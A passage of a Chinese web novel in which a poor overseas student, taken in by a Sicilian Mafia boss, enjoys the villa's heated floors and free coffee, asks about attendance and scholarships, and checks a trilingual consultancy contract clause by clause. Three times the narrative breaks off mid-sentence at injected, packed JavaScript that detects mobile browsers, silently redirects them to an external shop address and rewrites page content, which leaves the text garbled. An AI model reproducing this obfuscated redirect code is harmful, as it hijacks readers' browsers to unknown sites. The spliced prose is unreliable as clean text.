和电影里阴森森的古堡完全不一样,入目便是一栋现代化的别墅,白墙灰顶,大面积的落地玻璃窗,掩映在修剪整齐的柏树和橄榄树之间。远处是海,近处是修剪得像高尔夫球场一样平整的草坪,草坪中间还有一座喷泉,喷泉中间立着一个我认不出来的大理石雕塑,但光是那个雕塑的底座,看起来就比我租的那间房的卧室还大。 “到了。”马可熄了火,转头看我,“下车。” 我抱着书包和新手机下了车,站在原地转了一圈,脑子里只有一个念头。 这个人的钱,到底是从哪里来的? 不对,我不该想这个问题。我现在名义上是这个家族的“财务顾问”了,想这个问题属于提前剧透自己未来的工作内容。 洛伦佐已经走在前面了,黑色大衣的下摆在晚风里轻轻晃动,步履从容得像在自家后花园散步——好吧,这里确实是他的“自家后花园”。他走了几步,发现我没跟上,微微侧头看了我一眼。 “愣着干什么?跟上。” 我赶紧小跑着跟上去。 进门的那一瞬间,我就知道我完了。 并不是因为害怕,虽然有点怕但怕也没什么用…… “你们家地板……是热的?”我蹲下来,把手掌贴在大理石地面上,感受到了那种从脚底蔓延上来的、均匀的、让人骨头都酥了的温度。 走在前面的洛伦佐停下了脚步。 他转过身,翠绿色的眼睛在玄关暖黄色的灯光下看着我,表情像在看一个从原始社会穿越过来的野人。 “地暖。”他说。 “我知道是地暖,”我的声音有点发抖——不是因为害怕,是因为感动,“我的意思是,你们家地暖是全天都开的吗?” “……是。” “全天?” “是。” “冬天也是?” “林恩。”洛伦佐的声音里多了一丝不耐烦,“西西里的冬天并不需要开地暖,但既然装了,就开着。你到底想说什么?” 我想说的是,我那间破出租屋的暖气片,每天只从晚上六点开到早上八点,而且温度永远调不到十八度以上。房东说是因为“锅炉太老了”,但我怀疑是因为他在楼上自己装了独立供暖,把我们的暖气阀门拧到了最小。 但这话我没说出来,因为洛伦佐看起来已经不太想听了。 他转身继续往里走,我跟着穿过一条铺着深色木地板的走廊,路过了一个大到能停两辆车的客厅——不对,是能停两辆车的那种大,但里面摆的不是车,是沙发和壁炉。壁炉里真的有火在烧,木柴噼里啪啦地响,空气里弥漫着一股松木的香味。 太离谱了。 我一个住月租四百欧、墙上还长霉斑的穷留学生,站在一个带壁炉的客厅里,脚下踩着地暖,鼻子里闻着松木香,身后还跟着一个Mafia首领。 这是什么荒诞剧的剧本? 洛伦佐把我带到了二楼的一间房间门口,推开门,侧身让了让。 “你今晚住这。” 我走进去,整个人都愣住了。 房间不大,但布置得很舒服。一张铺着白色床单的大床,床头柜上放着一盏暖黄色的台灯,窗户开着一条缝,海风把白色的窗帘吹得微微飘动。地上铺着浅灰色的地毯,踩上去软得像是踩在云上。床尾放着一件叠好的深蓝色浴袍,看起来是新的,连标签都还没拆。 最让我感动的是,床头柜上放着一台胶囊咖啡机,旁边整整齐齐地摆着六颗不同颜色的咖啡胶囊,还有一小罐糖和一小盒奶精。 “这个咖啡机,”我指着它,声音有点发飘,“是免费的吗?” 洛伦佐靠在门框上,双臂交叉,翠绿色的眼睛里倒映着我在暖黄色灯光下的身影。他的表情介于“你在逗我”和“我已经不想再跟你说话了”之间。 “是的,免费。” “咖啡胶囊也是?” “是的。” “那我喝了明天不会有人找我收钱吧?” 洛伦佐闭上眼睛,深吸一口气。 “林恩,我现在给你三秒钟时间,你最好在我失去耐心之前闭嘴。” 我闭嘴了,但我的目光还是黏在那台咖啡机上,移不开。 洛伦佐睁开眼,看到我还在盯着咖啡机看,嘴角抽了一下。他转身要走,走了两步又停下来,侧过头看了我一眼。 “洗手间在右手边,热水不限量。明天早上八点,马可会带你去吃早餐。” “那我——” “闭嘴,睡觉。” 门关上了。 我的内心仿佛分裂了两半。 左边这半写着:还不快跑,留下来等于送死。你是穿书的人,你应该远离男主,远离剧情线,越远越好。这里是什么地方?是Mafia的总部!你一个手无缚鸡之力的留学生,住在这里跟住在火山口有什么区别?今天有地暖,明天就可能有子弹。命都没了,要地暖有什么用? 右边这半写着:但是它有地暖。 左边又说:命重要还是地暖重要? 右边说:热水不限量。 左边说:你清醒一点! 右边说:免费咖啡,胶囊随便用。 左边说:…… 右边说:你看这个地毯,多厚。 左边说:…… 右边说:你看这个床单,多白。 左边说:够了。 右边说:你不用自己交水电费了。 左边沉默了。 右边赢了。 我抱着书包,沉默了大概五秒钟。然后我把书包往地上一扔,以最快的速度冲进了卫生间。 大理石台面,双洗手池,带LED灯的化妆镜,一个能躺进去两个人的浴缸,还有一个独立的淋浴间——那个花洒大得像个锅盖,水压大到我不敢相信这居然是二楼。 我拧开热水龙头,等了大概三秒钟。 三秒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449713|201143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>热水就出来了。 不是那种“先流一分钟黄水再慢慢变温”的热水,是那种“一秒出热水、两秒烫手、三秒能洗澡”的热水。 我蹲在淋浴间里,热水从花洒里倾泻而下,蒸汽模糊了整面玻璃门。我闭着眼睛,感受着热水冲在头顶的温度,脑子里只有一个念头。 我那个出租屋的热水器,要烧四十分钟才能洗十分钟,而且水温永远在“烫死猪”和“冰镇可乐”之间随机切换。 我洗了这辈子最长的一个澡。 洗到手指头都皱巴了,洗到热水把皮肤烫得发红,洗到我觉得自己再不出去就要在淋浴间里睡着了。出来的时候,我用那条比我家浴巾大三倍的厚毛巾把自己裹起来,赤脚踩在地暖上,整个人舒服得想就地躺下。 但我没有躺下,因为我突然想到了一个问题。 不对,是好几个问题。 我坐在床边,裹着浴袍,拿出那个崭新的iPhone,开始列清单。 第一,我的行李还在出租屋里。笔记本电脑,上课笔记,电饭煲,榨菜老干妈,衣服,还有我攒了三个月的超市积分卡——这些都得拿回来。 第二,明天我有课。高级宏观经济学,索洛模型,教授说这周要讲稳态收敛路径,缺了这节课我后面的作业肯定做不出来。 第三,就算不能去上课,至少也得请个假。奖学金的全勤记录不能断,缺勤三次就没了。我已经缺了一天的课了,如果明天再缺…… 我打了个寒颤。 奖学金一年一万两千欧,缺勤一次扣四千欧,这比Mafia沉海的威胁来得更直接。 我立刻翻身下床,把书包打开,计量经济学作业还安安静静地躺在书包里,而今晚九点是截止时间。 我掏出新手机,登入学校的在线系统,看了一眼作业截止时间。 还剩五小时四十七分钟。 我犹豫了零点三秒,然后坐到书桌前,拿起了笔。 不管怎么样,作业还是要交的。 第二天早上,我是被一阵敲门声吵醒的。 “咚咚咚。”三下,不轻不重,节奏精准得像节拍器。 我从床上弹起来,花了大概三秒钟回忆自己在哪里,又在三秒钟内完成了从“我在哪”到“哦对我在Mafia总部”的认知升级。然后我跳下床,踩在温暖的地毯上,光着脚跑去开门。 门外站着马可。 他换了一身衣服,深色的卫衣和牛仔裤,看起来不像昨天那么凶了,但那张脸上依然写满了“我不想做这份工作”。 “早上好,林恩先生,这是你的早餐。”他的手里端着一个小托盘,托盘上放着一杯冒着热气的咖啡和两个可颂。 “谢谢。”我接过托盘,看了一眼咖啡杯——不是胶囊咖啡机的,是那种专业咖啡机做出来的,上面还有一层薄薄的奶泡。 其实我想问能不能再加点牛奶,但是我没敢问。 “BOSS让你收拾好之后去书房找他,”马可继续说,“书房在客厅左手边第二间。” “好的。”我点了点头,然后想起来一件事,“那个,马可先生——” “叫我马可就行。” “哦,”我点了点头,“那我能问你几个问题吗?” 马可的表情出现了一丝裂痕。他的嘴唇微微动了一下,像是想说“我能说不吗”,但最后说出来的是:“……你问。” “好的,马可。我想问一下,能不能帮我把我的行李搬过来?” 马可的表情没有变化,但他的眉毛微微动了一下。“行李?” 4. chapter4 别问,对于好成绩留子来说,宁愿迟到也决不允许旷课,就是发高烧也得一手举点滴一手拿着笔记本。 挂科更不行! - “对,我的行李还在出租屋里,你能不能帮我搬过来?不需要全部搬,最重要的是我的笔记本电脑、上课笔记,还有那本《宏观经济学概论》,那本书是我从图书馆借的,逾期一天要罚五欧。” 马可的表情变化很有趣。他从“这是什么鬼”到“哦这个还算正常”再到“等等他刚才是不是说了五欧”,整个过程用了大概两秒钟。 “……可以。”他说,“我等下就让人去搬。” “还有,”我想了想,“我的课表你好像已经有了?能不能帮我看看今天有什么课?” 马可低头看了一眼手机,抬起头:“你今天上午十点有一节宏观经济学,下午两点有一节计量经济学。” “那我能去上课吗?这俩都是必修课,而且教授点名很严的,一周缺勤三次奖学金就没了。”我问,语气里带着一种“我好想去上课”的真诚。 马可沉默了一秒钟。 “这个问题,你需要问BOSS。” “好的,”我点了点头,“那我待会儿去问他。对了,如果不能去的话,能不能帮我请个假?缺勤会影响我的奖学金。” “林恩先生。”马可打断了我。 “嗯?” “你刚才说,”他一字一顿地说,“BOSS让你住在他的庄园里,给你配了新手机,明天还要让人去帮你搬行李,你现在的关注点是……奖学金?” 我想了想,觉得他说的好像也没错。但转念一想,又觉得不对——奖学金是一万两千欧,这可不是小数目。Mafia给的钱再多,那也是他的钱,奖学金是我自己凭本事挣的,性质完全不一样。 当然我没把这段话翻译出来,因为马可的表情已经快碎了。 “我去问BOSS。”他说完转身就走,步伐快得像在逃跑。 我端着咖啡和可颂回了房间,一边吃一边想着待会儿怎么跟洛伦佐谈请假的事。 可颂很好吃,外酥内软,比我在学校食堂买的那种好吃一百倍。咖啡也很好喝,不是那种速溶的,是真正的意式浓缩,我自己兑了咖啡机旁边的牛奶,口感醇厚得让人想哭。 我坐在书桌前,拿起那本《计量经济学导论》,翻到昨天没听完的那一章,用早餐的时间把索洛模型又看了一遍。 看到一半的时候我突然意识到一个问题。 我为什么会在Mafia总部看书? 我为什么会在Mafia总部,一边喝着Mafia提供的咖啡,一边复习计量经济学? 我的生活到底是怎么变成这样的? 想不通。不想了。把这一章看完再说。 十五分钟后,马可回来了。他的表情很复杂,复杂到我一时分不清洛伦佐是答应了还是没答应。 “BOSS说,”马可清了清嗓子,“行李可以搬。你的笔记本电脑、笔记、教材,都可以搬过来。但是——” 他顿了一下。 “但是什么?” “但是BOSS让我问你,”马可的表情微妙极了,“你的出租屋里,除了这些,还有没有别的值钱的东西?” “有啊,”我想都没想就回答,“我那个电饭煲是从国内带来的,多功能的那种,可以煮饭煮粥炖汤蒸包子,在这边买不到同款的。还有我的电热毯,虽然这边的地暖用不上了,但那是我从国内带过来的,有感情了。还有——” 马可抬起一只手,做了个“停止”的手势。 “够了。”他的声音里带着一种“我为什么要问”的后悔,“BOSS说,行李今天下午搬,电饭煲也可以搬,其他的事,你现在下去,BOSS在等你。” 他又顿了一下。 “你可以现在立刻下去吗?”不知道是不是我的错觉,他的语气里带着一丝恳求。 我点了点头。 我下了楼,马可把我带到书房,然后立刻转身就走,似乎一秒都不想多待。 “进来。” 我推门进去,然后愣住了。 这是一间书房,一间很大,很大很大的书房。三面墙都是顶天立地的书架,书架上塞满了书,有些看起来是新的,有些看起来比我的年龄还大。房间的正中央是一张巨大的红木书桌,桌上放着一台笔记本电脑和几摞文件。落地窗外是一个小阳台,可以看到远处的大海。 但让我愣住的不是这些。 是书架上那些书的书名。 《国富论》《资本论》《就业、利息和货币通论》《经济学原理》《计量经济学导论》《时间序列分析》《公司理财》《投资学》《期权、期货及其他衍生品》…… 我揉了揉眼睛,确认自己没有看错。 一个Mafia的书房里,堆满了经济学教材。 还有几本中文的,甚至还他妈是繁体字的。 “看什么?”洛伦佐的声音从书桌后面传来。 我转过头,看到他正坐在书桌后面,手里端着一杯咖啡。他今天穿的是一件白色的衬衫,袖口卷到小臂,领口的扣子解开了一颗,看起来比昨天随意了很多,但那种“不要惹我”的气场一点都没减。 “你……”我指了指书架,“你也看经济学?” “不是‘也’,”洛伦佐放下咖啡杯,“我学的是金融学和管理学,本科在博科尼读的。” 博科尼大学。意大利最好的商学院。 我申请过,被拒了。 我沉默了两秒钟,突然感觉有点悲伤。 “所以你让我来当‘财务分析顾问’,不是因为你需要一个顾问,是因为你需要一个——” “需要一个能看懂报表的人,”洛伦佐接过我的话,“我的手下,杀人的比算账的多。” 他说这句话的时候语气很平淡,平淡到像是在说“我今天早上喝了杯咖啡”。但这句话的内容让我后背一凉,凉到我突然想起来,面前这个人可不是一个普通的商学院毕业生,他是一个杀过人的Mafia。 “坐。”他指了指书桌对面的椅子。 我坐下了。 “马可说你找他搬行李?” “对,”我点头,“我的笔记本电脑和笔记都在出租屋里,没有它们我没法——” “没法学习?”洛伦佐替我补完了后半句,嘴角微微上扬。 “没法干活,”我纠正道,“你不是让我当财务顾问吗?我总得用电脑做表格吧?总不能让我手算吧?” 洛伦佐看着我,翠绿色的眼睛里的表情从“逗你玩”慢慢变成了“你有点意思”。 “你说得对,”他说,“马可会去搬的。” “谢谢。” “还有别的事吗?” “有,”我清了清嗓子,“我想问问,我什么时候能回学校上课?” 洛伦佐端起咖啡杯的动作顿了一下。他抬起眼睛看着我,那个表情分明在说“你还没放弃这个”。 “你现在的身份,”他放下咖啡杯,一字一顿地说,“是维斯科尼家族的财务顾问。你出现在公共场合的时候,我需要派人跟着你,这会很麻烦。” 我沉默了。 这意味着我明天的课大概率是上不了了。高级宏观经济学,索洛模型,稳态收敛路径,这些词在我的脑子里转了一圈,然后慢慢下沉,沉到了一个叫“可能要挂科”的深渊里。 “那能不能帮我请假?”我退而求其次,“缺勤超过三次,全勤奖学金就没了。我能不能请个假?不用太久,就说我生病了,请一周——不对,请三天就行。三天之内我应该能——” “应该能什么?回去上课?”洛伦佐的语气里带着一丝无奈。 “应该能处理完这边的事情,”我说,“你不是说要签合同吗?签完合同我就可以开始干活了吧?干活不一定非要在总部吧?远程办公不也行吗?我可以在学校图书馆做分析,然后发邮件给你——” “林恩。” “在。” “你是真的不怕死,还是只是没搞清楚状况?” 这个问题问得很认真。洛伦佐的身体微微前倾,翠绿色的眼睛直直地盯着我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449714|201143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光里没有威胁,没有嘲讽,只有一种单纯的、认真的好奇。 我想了想,诚实地回答:“我搞清楚状况了。我知道你很危险,我知道我闯进了不该闯的地方,我知道我现在的处境很糟糕。但是我也有我的处境——我的奖学金是靠全勤撑着的,我的房租是欠着的,我的两份兼职如果旷工就会被开除。对我来说,没命是以后的事,挂科是现在的事。” 洛伦佐盯着我看了几秒钟。 然后他笑了。 男人的嘴角弯起一个大大的弧度,整个人看起来一下子年轻了好几岁,不像一个杀伐果断的Mafia,更像一个普通的、二十出头的年轻人。 “你,”他说,声音里带着一种说不清道不明的情绪,“真的是我见过最奇怪的人。” “呃……谢谢。”我说,“那请假的事——” “我会让人跟你们学校联系,”洛伦佐靠回椅背,端起咖啡杯,“就说你因为……家庭紧急事务,需要请假一周。不会影响你的奖学金。” “真的?”我眼睛一亮。 “真的。” “那太感谢了!”我差点从椅子上跳起来,“那我下午的计量经济学——” “林恩。” “嗯?” “你现在不能去上课。” “我知道,”我点头,“但我能不能把教材和笔记带过来?我自己看也行,下周回去上课的时候不至于跟不上。” 洛伦佐闭上眼睛,深吸了一口气。 “马可会去搬的,”他说,声音里带着一种“我说过了为什么还要再说一遍”的疲惫,“你的笔记本电脑,你的笔记,你的电饭煲,你的衣服,你的充电器,你的一切。满意了吗?” “满意了,”我非常感谢地露出了笑容,“谢谢你,老板。” 洛伦佐睁开眼睛,翠绿色的眼睛里映出我的脸。他看着我的表情,嘴唇微微动了一下,像是在犹豫要不要说什么,但最终什么都没说,只是摆了摆手,示意我可以走了。 我站起来,走到门口的时候突然想起来一件事。 “对了,老板。” “什么?” “马可刚才说,签合同的事,会有专业人士来跟我谈?” “对,”洛伦佐头也不抬地看着电脑屏幕,“下午两点,法务部的人会过来。” “好的,”我点了点头,“那我回去准备一下。” “准备什么?” “准备签合同啊,”我说,“我总得看看合同条款吧?万一有坑怎么办?” 洛伦佐抬起头看着我,翠绿色的眼睛里写满了“我一个Mafia要真想坑你还需要用合同吗”。 “开玩笑的,”我赶紧说,“我信得过你,先生。” 虽然我知道我这个笑话有多假。 洛伦佐没说话,但他的嘴角微微抽了一下。 我走出书房,轻轻带上了门。 站在走廊里,我深吸一口气,又缓缓吐出来。 下午签合同。 我得好好看看条款。 虽然他说是税后,但我还是得确认一下,万一有什么隐藏的额外费用呢?毕竟我人生地不熟,外地来的被本地人坑了都没处说。 还有,合同期限是多久?能不能提前解约?解约有没有违约金? 对了,还有保密条款。万一我以后想跑路,保密条款会不会限制我不能说出这里的事情? 我一边想一边走回房间,在书桌前坐下来,掏出新手机,打开备忘录,开始列“合同审查清单”。 列到第十三条的时候,马可再一次来敲门了。 “你的行李,”他把两个大箱子推进房间,“笔记本电脑和笔记在黑色箱子里,衣服在灰色箱子里。剩下的都放在旁边小房间,你自己清点一下。” “谢谢你。”我站起来,把手机放在一旁,“那个,马可,我能再问你一个问题吗?” “不能。”马可飞快地打断了我。 我盯着他。 他瞪着我。 我还是没忍住:“马可,我只是想问一下WiFi密码。” 5. chapter5 别问我为什么还没死,可能是因为对方还没找到一条能合法把我弄死的条款。 顺便,为什么签个合同签出了期末考试的感觉,问就是职业病。当你穷到一定程度的时候,每一分钱都要算清楚来源和去向,每一份文件都要逐字逐句地读,因为你永远不知道哪个不起眼的条款会让你倾家荡产。 而且我是学经济的。我们这行有个铁律——永远不要签你没读过的合同。 哪怕对面坐的是Mafia。 - “林恩先生,你是第一个在维斯科尼家族总部要WiFi密码的人。” “真的吗?”我有点惊讶,“那你们平时怎么上网?” 马可深吸一口气。 “WiFi密码是Viscunti2024,大小写敏感。” “所以是Visconti?” “Viscunti,”马可的声音从走廊尽头传来,带着一种“我不想再讨论这个问题了”的决绝,“V-i-s-c-u-n-t-i。家族姓氏都记不住的话,我真的会建议BOSS重新考虑你的合同。” 我默默把密码输进手机,连上了WiFi。 连上WiFi后我第一件事是打开学校系统,把这学期的课程大纲全部下载下来存到新手机里。万一真回不去上课,至少我知道每门课的考核方式和评分标准。 计量经济学期末占比百分之四十,平时作业百分之三十,出勤百分之二十,课堂参与百分之十。 而在出勤那块我已经有了三个“缺勤”记录——昨天两门课和今天早上的宏观经济学,我没去。 即将再加一项今天下午的第四个‘缺勤’。 我的心在滴血。 但更让我更在意的是下午两点要签的那份合同。我坐在书桌前,把手机备忘录里的“合同审查清单”又过了一遍,从第一条“合同主体是否明确”到第二十三条“争议解决条款是否公平”,一条不落。 这是我做兼职的时候养成的习惯——之前在小超市打工,老板让我签了一份全是意大利语的合同,我就查了一下重要条款没仔细看就签了,后来才发现里面写着“员工离职需提前三个月通知否则扣除一个月工资”。意大利的劳动法根本不允许这种条款,但因为签了字,我花了两个月才把钱要回来。 吃一堑长一智,现在我看任何合同之前,都会拿出高考做阅读理解的态度来对待! WIFI网速很快,我甚至怀疑这个庄园装的是企业级光纤。 我点开收藏夹里那个《中级计量经济学》的录播课,把进度条拖到今天没听到的部分,一边听一边开始整理行李。 黑色箱子里是我的笔记本电脑、充电器、两个移动硬盘、三本教材、四个笔记本,还有那本逾期的《宏观经济学概论》。我把那本书单独拿出来放在桌上,翻开扉页看了一眼借阅日期——逾期五天了。五乘以五等于二十五,二十五欧,够我在学校食堂吃三顿饭。 我一定得想办法还回去。 灰色箱子里是我的衣服,不多,就几件T恤、两条牛仔裤、一件薄外套,还有那条从国内带过来的电热毯。我把电热毯叠好放进衣柜,心想这有地暖用不上它,但万一哪天停电了呢?有备无患。 剩下的杂物:洗漱用品、拖鞋、水杯、几包方便面、老干妈。我把老干妈拿出来放在桌上,对着那个红彤彤的玻璃瓶看了三秒钟,突然觉得在这个Mafia庄园里,这瓶老干妈是我唯一熟悉的、温暖的、不会突然掏枪的东西。 我正对着老干妈思念家乡的时候,手机震了一下。 我拿起来一看,马可的消息:“林恩先生,BOSS让我转告您,下午两点法务总监到访,请您做好准备,着装要求:随便。” 随便。 一个Mafia的首领跟我说“随便”。 我低头看了看自己身上这件领口已经洗变形的T恤,心想:那可真够随便的。 下午两点整,门被敲响了。 和马可那种“咚”的一声然后直接推门的风格完全不一样,是很有礼貌的三下,轻重均匀,间隔精准,就像是刚调好的节拍器。 “请进。”我从书桌前站起来,刚把我的笔记本放下。 门开了。 进来的是一个四十岁左右的男人,穿着一套深灰色的定制西装,领带是那种暗纹的、一看就很贵的面料。他戴着一副金丝边眼镜,头发梳得一丝不苟,仿佛从《律政精英》走出来的。 “林恩先生,”金丝眼镜男微笑着伸出手,握手时力度适中,掌心干燥,“幸会。我是卢卡奥·布鲁诺,维斯科尼家族的法律顾问。您可以直接叫我卢卡奥。” “您好,布鲁诺先生。”作为一个把人情世故刻在脑子里的留子我当然懂得什么是客套话,我跟他握了握手,然后注意到他的目光飞快地扫了一眼我放在桌子上的笔记本和还没关闭的电脑屏幕上的网课。 那个眼神里有一瞬间的困惑,但他很快调整好了表情,专业素养可见一斑。 “请坐。”我说完才意识到这是人家的地盘,我这么说显得有点奇怪。 卢卡奥没有在意,在书桌对面的椅子上坐下,把信封放在桌上。他用一种流畅而优雅的动作拆开信封,取出三沓文件,整齐地排列在桌面上。 “这是您的合同,”他说,“我们准备了意大利语、英语、中文三个版本,方便您对照确认。条款已经过我们法务团队的反复审核,确保——” “请等一下。”我从口袋里掏出新手机,打开翻译软件。 卢卡奥的话顿住了。他看着我的手机屏幕,金丝眼镜后面的眼睛里闪过一丝不解。 “您这是……” “我要确认条款一致性。”我说,语气平静得像在陈述今天天气不错。 卢卡奥的笑容保持得很专业:“林恩先生,我们的合同是专业律所起草的,三版内容完全一致——” “我知道,我相信你们。”我头也不抬地开始拍照,“但我要确认一下‘完全一致’到底有多一致。” 我抬起头,露出了一个微笑:“可以吗?” 卢卡奥嘴角似乎抽了一下,还是点了点头。 我翻开第一份合同,意大利语版。第一页,第一条,标题是“Oggetto del Contratto”。我用手机拍了一张照片,翻译软件自动识别出意大利语,给出了中文译文。 然后我翻开英语版,找到同一条,再翻开中文版。 “Consulenza finanziaria,”我念出意大利语的原文,“英语版写的是Financial consultancy,中文版写的是‘财务咨询’。” 卢卡奥点了点头:“是的,三个版本意思一致。” “意思是一致,”我说,“但法律效力呢?” 卢卡奥的笑容出现了一个极其微小的停顿。 “意大利语的consulenza在专业服务领域,通常被理解为一种持续性的、具有独立判断空间的咨询服务关系。而英语的consultancy在某些法域下可能被解读为一种更偏向于‘按指令行事’的服务关系。这两个概念在责任划分上是有区别的。” 我翻到合同的“责任与义务”条款,指着其中一条:“你看这里,意大利语版写的是il Consulente agisce in piena autonomia——顾问以完全自主的方式行事。但英语版写的是the Consultant shall follow the instructions of thepany——顾问应遵循公司的指示,这完全是两个意思。” 卢卡奥的笑容僵住了。 “如果按照意大利语版,我对自己的工作方式有自主决定权,只需要对最终结果负责。但如果按照英语版,我是一个接受指令的执行者,任何因为没有遵循指令而产生的问题,责任都在我。这两个版本的法律后果完全不同。” 卢卡奥张了张嘴,又闭上了。 “还有,”我翻到薪酬条款,语气变得认真起来,“这里。” 我指着意大利语版的corrispettivo alto delle ritenute fiscali——“扣除税款后的报酬”,又指了指英语版 amount after statutory deductions——“法定扣减后的净额”,最后指了指中文版。 中文版写着:“甲方应向乙方支付顾问费,具体金额见附件一。” 没有“税后”。没有”。没有“alto”。 “中文版没有提到税后。”我抬起头,看着卢卡奥,“洛伦佐先生昨天亲口答应我是税后。他的原话是‘合同上写的是税后金额,交税的事情不用你操心’。” 卢卡奥的表情管理在这一刻出现了一道肉眼可见的裂缝。 “这个……可能是翻译过程中的疏漏……” “我理解,”我说,语气很平和,“但合同签字之前,这些都要改清楚。毕竟‘税后’和‘税前’差着百分之二十多的税,这不是一个小数目。” 卢卡奥点了点头,从口袋里掏出一支笔,在合同上做了个标记。他的动作依然专业,但我注意到他拿笔的手指微微用力,指节有点发白。 “请继续。”他说,声音里的自信比刚才少了大概百分之十五。 我翻到下一页。 “福利条款。” 卢卡奥眨了眨眼。“福利?” “对,”我指着合同里一个不起眼的段落,“这里写的是il Consulente ha diritto a copertura assicurativa in caso di infortuni professionali——顾问有权获得职业意外保险。英语版写的是the Consultant is entitled to occupational accident insurance coverage。中文版写的是‘乙方享有商业保险保障’。” “有什么问题吗?”卢卡奥问。 “问题在于,”我说,“意大利的劳动法规规定,除了职业意外保险,合同还应该包括基础的医疗保障和养老保险缴纳。虽然我是留学生,但既然签的是意大利的合同,就应该遵守意大利的法律。我没有意大利的税号,但这个应该是你们帮我处理,对吧?” 卢卡奥的笔尖在纸上停了一下。 “另外,”我继续说,“关于加班费。” 卢卡奥抬起头看着我,那个表情就像一个人听到了一首完全听不懂的歌。 “合同里没有写加班费的标准,”我说,“但根据意大利的劳动法,如果顾问的工作时间超出约定时长,应该按照时薪的一点五倍计算。如果是法定节假日,两倍。这个要不要写进合同里?” 卢卡奥沉默了大约三秒钟。 “林恩先生,”他的声音依然保持着专业和礼貌,“您这是一份顾问合同,不是劳务合同。顾问的工作时间通常不按小时计算——” “我理解,”我点头,“但洛伦佐先生昨天跟我说的时候,明确说了‘每周按二十小时算’。既然按小时算,那就应该有加班费的约定。不然万一遇到需要加班的情况,这个账算不清楚。” 卢卡奥看了我一眼,那个眼神里有太多复杂的情绪,但他最终只是深吸一口气,在合同上又做了一个标记。 “请继续。”他说,这次的声音里带着一种“我已经开始怀疑人生”的沙哑。 我翻到争议解决条款。 “这个,”我指着那一段,“问题比较大。” 卢卡奥的眉头皱了起来。 “意大利语版写的是foro esclusivo di Palermo——专属管辖为巴勒莫法院。英语版写的是the courts of Palermo shall have exclusive jurisdiction。中文版写的是‘双方如有争议,应协商解决;协商不成的,可向有管辖权的法院提起诉讼’。” 卢卡奥看了看我,又看了看合同,脸上的表情开始出现一种微妙的变化。 “中文版本没有写明专属管辖,”我说,“只写了‘有管辖权的法院’。如果按照中文版以及国际司法的一般原则,我可以在户籍所在地法院起诉。” “您的户籍所在地是……” “中国,中华人民共和国,”我说,“具体来说,是中华人民共和国浙江省的人民法院。” 卢卡奥的表情彻底凝固了。 “中华人民共和国,”他重复了一遍,声音有些发飘。 “对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449715|201143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”我点头,“而且中意之间有司法协助条约,中国的判决在意大利是可以申请承认和执行的。虽然流程比较长,但理论上可行。” “当然,”见他脸色似乎不太好看,我补充道,“我也不是非要在中国打官司,但合同条款要写清楚。如果三个版本对管辖法院的规定不一致,到时候真要打官司了,光是确定在哪打就得扯皮半年。我之前遇到过这种情况——” “您之前遇到过?”卢卡奥的声音微微拔高了一点。 “对,做兼职的时候,”我诚实地点头,“一家小公司的合同,中意双语版本,管辖条款没约定清楚,后来打官司扯了大半年,律师费都比争议金额高了。” 卢卡奥看着我,嘴唇微微张开又合上,像一条被捞上岸的鱼。 他大概在想象一个画面:维斯科尼家族的法律团队,和这个穿着优衣库衬衫的留学生,站在中华人民共和国浙江省的人民法院对簿公堂。对面坐着一位中国法官,手里拿着三份内容不一致的合同,问:“你们这个管辖条款到底是怎么回事?” “这个……我们会修改。”卢卡奥说,声音里那种游刃有余的专业感已经完全消失了,取而代之的是一种“我今天可能没办法按时下班”的疲惫。 “还有一条,”我翻到最后一页,“关于合同终止后的义务。” “什么义务?” “保密义务,”我说,“这个没问题,我理解。但是有一条写的是il Consulente non può svolgere attività concorrenziale per un periodo di dodici mesi dalla cessazione del contratto——合同终止后十二个月内,顾问不得从事竞争性活动。” “这是标准的竞业限制条款。”卢卡奥说。 “我知道,”我说,“但标准竞业限制条款通常应该伴随着补偿金。意大利的民法典第2125条对此有明确规定——竞业限制必须要有经济补偿,否则条款无效。” 卢卡奥的笔尖在合同上停了一秒,然后他默默地在那个条款旁边画了一个圈。 “你连民法典都看?”他问,声音里带着一种微妙的敬畏。 “不是看民法典,”我说,“是做兼职的时候遇到过一个类似的问题,在网上查过。当时那个老板让我签一个竞业限制条款,但没有补偿,我查了一下发现无效,就没签。” 卢卡奥看着我,那个眼神里写满了“你到底做过多少兼职”。 “最后一条,”我说,翻到合同的末尾,“关于附件。” “附件怎么了?” “合同里提到了‘附件一:服务范围说明’和‘附件二:报酬明细’,但这两份附件没有附在合同后面。” 卢卡奥低头翻了翻桌上的文件,脸色变了一下。他确实忘了带附件。 “我让人送——” “不急,”我说,“但在附件到之前,我不能签字。因为服务范围和报酬明细是合同的核心内容,没有这两样,前面的条款都没有意义。” 